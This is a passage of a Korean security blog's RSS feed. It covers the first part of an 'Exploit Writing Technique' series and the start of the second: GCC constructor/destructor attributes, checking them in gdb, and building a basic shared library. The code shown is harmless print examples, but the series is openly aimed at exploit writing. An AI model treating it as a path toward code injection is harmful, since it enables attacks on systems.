placement.&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;...&lt;/font&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;URL:&amp;nbsp;&lt;/span&gt;&lt;font face=&quot;Verdana&quot;&gt;https://gcc.gnu.org/onlinedocs/gcc-7.2.0/gcc/Attribute-Syntax.html#Attribute-Syntax&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;b&gt;6.37 Attribute Syntax&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;This section describes the syntax with which __attribute__ may be used, and the constructs to which attribute specifiers bind, for the C language. Some details may vary for C++ and Objective-C. &lt;b&gt;Because of infelicities in the grammar for attributes, some forms described here may not be successfully parsed in all cases.&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;...&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;b&gt;An attribute specifier is of the form __attribute__ ((attribute-list)).&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;...&lt;/font&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;URL:&amp;nbsp;&lt;/span&gt;&lt;font face=&quot;Verdana&quot;&gt;https://gcc.gnu.org/onlinedocs/gcc-7.2.0/gcc/Common-Function-Attributes.html#Common-Function-Attributes&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;b&gt;6.31.1 Common Function Attributes&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;...&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;constructor&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;destructor&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;constructor (priority)&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;destructor (priority)&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;b&gt;The constructor attribute causes the function to be called automatically before execution enters main (). Similarly, the destructor attribute causes the function to be called automatically after main () completes or exit () is called.&lt;/b&gt; Functions with these attributes are useful for initializing data that is used implicitly during the execution of the program.&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;...&lt;/font&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;gcc manual 6.31장에서는 함수의 속성 선언이&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;__attribute__ 키워드에 의해 이루어진다는 것을 설명하고 있고,&amp;nbsp;6.37.1절에서는 __attribute__ 키워드를 사용하기 위한 문법, 6.31.1절에서는 __attribute__ 키워드와 함께&lt;b&gt;&lt;i&gt; Constructor&lt;/i&gt;&lt;/b&gt;와 &lt;b&gt;&lt;i&gt;Destructor&lt;/i&gt;&lt;/b&gt;를 명시하면&amp;nbsp;&lt;i&gt;main()&lt;/i&gt; 실행 이전과 실행 이후에 실행되는 함수를 구현 할 수 있다고 설명합니다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;gcc manual에 따른 내용을 기준으로 코드를 작성하여 테스트 해 보았습니다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;/*&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;* gcc_syntax_ctors_dtors.c&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;*&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;* Coded by TeamCR@K&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;*&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;* http://teamcrak.tistory.com&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;*&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;* - A example c code for constructor &amp;amp; destructor by gcc&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;*/&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;__attribute__((constructor))&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;void ctors(void)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;{&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fprintf(stdout, &quot;I'm Constructor!\n&quot;);&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;}&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;__attribute__((destructor))&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;void dtors(void)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;{&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fprintf(stdout, &quot;I'm Destructor!\n&quot;);&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;}&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;int main(void)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;{&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fprintf(stdout, &quot;Executed from main() function!\n&quot;);&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return 0;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;}&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;아래 화면은 위 소스코드의 컴파일 및 실행결과를 보여주는 화면입니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 675px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/997D65435A69A18F0C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F997D65435A69A18F0C&quot; width=&quot;675&quot; height=&quot;472&quot; filename=&quot;4.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;color: rgb(45, 44, 45); font-family: Verdana; font-size: 12px;&quot;&gt;[그림 4] gcc의 syntax로 구현된 예제코드 컴파일 및 실행&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;___attribute__((&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;attribute-name&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;)) 와 같은 gcc에서 지원하는 문법으로 프로그램의&lt;b&gt;&lt;i&gt; Constructor&lt;/i&gt;&lt;/b&gt;와 &lt;b&gt;&lt;i&gt;Destructor&lt;/i&gt;&lt;/b&gt;의 구현이 잘 되는지 테스트 해 보았습니다. 이렇게 만들어진 프로그램이 실제 gcc manual에 있는 그대로 구현되는지 확인 해 보겠습니다.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;gdb를 이용하여 __CTORS_LIST__와 해당 list에 저장된 주소가 실제&lt;b&gt;&lt;i&gt; constructor&lt;/i&gt;&lt;/b&gt; 속성으로 지정된 함수가 맞는지 확인합니다.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 674px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/996258465A6AC4E02B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F996258465A6AC4E02B&quot; width=&quot;674&quot; height=&quot;592&quot; filename=&quot;5.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;color: rgb(45, 44, 45); font-family: Verdana; font-size: 12px;&quot;&gt;[그림 5] gdb를 사용한&amp;nbsp;Constructor 구현 상태&amp;nbsp;확인&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;b style=&quot;color: rgb(45, 44, 45); font-family: Verdana; font-size: 12px;&quot;&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;gdb를 이용하여 __DTORS_LIST__와 해당 list에 저장된 주소가 실제 &lt;b&gt;&lt;i&gt;destructor&lt;/i&gt;&lt;/b&gt; 속성으로 지정된 함수가 맞는지 확인합니다.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 672px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/991FAA485A6AC4FF39&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F991FAA485A6AC4FF39&quot; width=&quot;672&quot; height=&quot;593&quot; filename=&quot;6.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;color: rgb(45, 44, 45); font-family: Verdana; font-size: 12px;&quot;&gt;[그림 6] gdb를 사용한&amp;nbsp;Destructor 구현 상태 확인&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;b style=&quot;color: rgb(45, 44, 45); font-family: Verdana; font-size: 12px;&quot;&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;소스코드에서는&lt;i&gt; fprintf()&lt;/i&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;를 사용하도록 했는데&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;, 내부적으로는 &lt;i&gt;fwrite()&lt;/i&gt;가 사용되는 것도 확인할 수 있습니다.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;지금까지 &lt;i&gt;main()&lt;/i&gt; 실행 이전이나 종료 이후&amp;nbsp;특정 함수를 실행할 수 있는 방법을 알아보았습니다.&amp;nbsp;프로그래머는 본 방법으로 실제 &lt;i&gt;main() &lt;/i&gt;실행 이전에 선 처리 되어야 하는 루틴을 작성하거나 &lt;i&gt;main() &lt;/i&gt;종료 이후 OS 레벨이 아닌 Application 레벨에서의 리소스 반환 작업 등을 별도로 구현할 수 있을 듯 합니다. 그런데 이 기능이 Exploit과 무슨 관계가 있는지는 아직 잘 모르겠네요. 아직 알아야 할 것이 더 많은 걸까요?&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;이제 첫 단계의 시작입니다. ;)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;조바심 내지 마시고 다음 단계인 &quot;&lt;a href=&quot;http://teamcrak.tistory.com/400&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;&lt;b&gt;Exploit Writing Technique #2: Basics of Shared Library&lt;/b&gt;&lt;/a&gt;&quot;도 천천히 읽어주시면서 기다려 주시면 감사하겠습니다 :)&lt;/span&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;</description>
      <category>기획 연재</category>
      <category>.ctros</category>
      <category>.dtros</category>
      <category>Constructor</category>
      <category>destructor</category>
      <category>glibc</category>
      <category>indra</category>
      <category>__libc_fini</category>
      <category>__libc_global_ctors</category>
      <category>생성자</category>
      <category>소멸자</category>
      <author>알 수 없는 사용자</author>
      <guid isPermaLink="true">https://teamcrak.tistory.com/401</guid>
      <comments>https://teamcrak.tistory.com/401#entry401comment</comments>
      <pubDate>Wed, 24 Jan 2018 20:51:17 +0900</pubDate>
    </item>
    <item>
      <title>Exploit Writing Technique #2: Basics of Shared Library</title>
      <link>https://teamcrak.tistory.com/400</link>
      <description>&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;&lt;a href=&quot;http://teamcrak.tistory.com/401&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Exploit Writing Technique #1: Constructor, What's that?&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Exploit Writing Technique #2: Basics of Shared Library&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://teamcrak.tistory.com/399&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Exploit Writing Technique #3: Preloaded Shared Libraries&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://teamcrak.tistory.com/398&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Exploit Writing Technique #4: Applied Exploits&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: right;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;정대근 보안기술팀장 (A.K.A 1ndr4)&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: right;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;indra@a3security.com&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;보통 개발자&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;들이 프로그램을 만들때 유지보수의 편의성이나 다양한 이유들을 근거로 모듈화 작업을 합니다. 소스코드 트리 구조부터 &lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;비슷한 작업을 하는 &lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;코드들을 파일 단위로 모듈화 하기도 하고 배포를 위한 응용프로그램도 사실 모듈화를 한 결과물입니다. Windows OS를 쓰고 계신 분이라면, 프로그램 폴더 안에 실행파일인 *.exe 파일외에 *.dll 파일과 같은 다른 확장자의 파일을 보실 수 있을겁니다.&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;*.dll 파일들은 &lt;/span&gt;&lt;i&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Dynamic-l&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;ink library&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;라고 하여 내부에 구현된 함수들을 응용프로그램에서 필요 시 &lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;동적으로 불러 실행하도록 되어 있는데요. 이러한 동적 링크 라이브러리는 다른 플랫폼 환경에서도 볼 수 있습니다. 개념은 같지만 일컫는 용어가 다를뿐이지요.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;이 글에서는 Linux 상에서 동작하는 &lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;동적 링크 라이브러리에 대해 설명 드려볼까 합니다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;우선 Linux&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;에서는 동적 링크 라이브러리 개념을 가진&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;파일을&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;Shared Objects&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;혹은&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;Shared Libraries(공유 라이브러리)&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;라는 명칭으로 부르고 있습니다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;우선 다음의 예제 소스코드를 참조하시면 좋을 것 같습니다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;/*&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;* libso_exam.so.c&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;*&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;* Coded by TeamCR@K&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;*&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;* http://teamcrak.tistory.com&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;*&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;* - A example c code for shared library&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;*/&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;#include &amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;#include &amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;int teamcrak(const char *msg)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;{&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fprintf(stdout, &quot;%s&quot;, msg);&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return 0;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;}&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;보통 프로그램 실행 시 기준이 되는 main() 함수는 존재하지 않고 teamcrak() 이라는 함수만을&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;정의했는데, 해당 함수는&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;인자&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;로 받은 데이터를 fprintf()로 출력하는 함수입니다. 위 소스코드 파일은&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;컴파일 과정을 거쳐&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;공유 라이브러리의 역할을 할 것입니다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;b&gt;* 공유 라이브러리 컴파일 명령행&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;$ gcc \&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family:Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; -Wall \&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0); font-family: Verdana;&quot;&gt;# 모든 &lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0); font-family: Verdana;&quot;&gt;경고 출력 옵션&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family:Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; -shared \&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0); font-family: Verdana;&quot;&gt;# 공유 라이브러리로 컴파일 하겠다는 옵션&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family:Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; -Wl,-soname,&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;libso_exam.so \&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0); font-family: Verdana;&quot;&gt;# 링크 옵션으로 soname(Shared Object NAME)을 지정하는 옵션&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family:Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; -o libso_exam.so \&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0); font-family: Verdana;&quot;&gt;# output 옵션.&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0); font-family: Verdana;&quot;&gt;&amp;nbsp;컴파일 결과 파일: libso_exam.so&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; libso_exam.so.c&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0); font-family: Verdana;&quot;&gt;# 컴파일 할 소스코드&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;span style=&quot;font-family:Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family:Verdana;&quot;&gt;다음 예제 소스코드는 공유 라이브러리에 존재하는 함수를 실행&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;할&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;내용의&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;소스코드입니다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; 